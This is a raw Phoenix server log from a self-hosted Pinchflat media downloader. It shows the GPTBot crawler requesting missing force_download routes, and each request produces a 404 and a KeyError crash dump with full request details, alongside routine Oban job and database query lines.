"pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39750}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239449.0>, params: %{}, path_info: ["sources", "3", "media", "3301", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3301/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAetFM0EonkIHEAJDmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239448.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39750}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3301/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239448.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39750}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 02:20:13.795 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:43.797 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.247 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:13.799 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:17.883 [info] GET /sources/3/media/3305/force_download 02:21:17.884 [debug] QUERY OK source="settings" db=0.3ms idle=769.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:21:17.885 [debug] QUERY OK source="settings" db=0.4ms idle=405.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:21:17.885 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:21:17.886 [error] #PID<0.239457.0> running PinchflatWeb.Endpoint (connection #PID<0.239456.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3305/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3305/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3305/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48154}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239457.0>, params: %{}, path_info: ["sources", "3", "media", "3305", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3305/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAew0DFkw6CMTwABaQD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3305/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48154}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3305/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3305/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48154}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239457.0>, params: %{}, path_info: ["sources", "3", "media", "3305", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 02:21:43.801 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.248 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:13.803 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:22.823 [info] GET /sources/3/media/3298/force_download 02:22:22.824 [debug] QUERY OK source="settings" db=0.3ms idle=1344.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:22:22.825 [debug] QUERY OK source="settings" db=0.2ms idle=1345.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:22:22.825 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:22:22.825 [error] #PID<0.239466.0> running PinchflatWeb.Endpoint (connection #PID<0.239465.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3298/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239465.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 56460}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239466.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3298/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAe0l-CHDStOsUABaUD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239465.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 56460}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239465.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 56460}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239466.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, (truncated) 02:22:43.805 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.249 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:13.807 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:28.215 [info] GET /sources/3/media/3296/force_download 02:23:28.216 [debug] QUERY OK source="settings" db=0.3ms idle=839.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:23:28.217 [debug] QUERY OK source="settings" db=0.3ms idle=737.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:23:28.217 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:23:28.218 [error] #PID<0.239474.0> running PinchflatWeb.Endpoint (connection #PID<0.239473.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3296/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3296/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3296/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43498}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239474.0>, params: %{}, path_info: ["sources", "3", "media", "3296", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3296/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAe4ZkyN8cBv28ABaXD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3296/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43498}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3296/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3296/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43498}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ 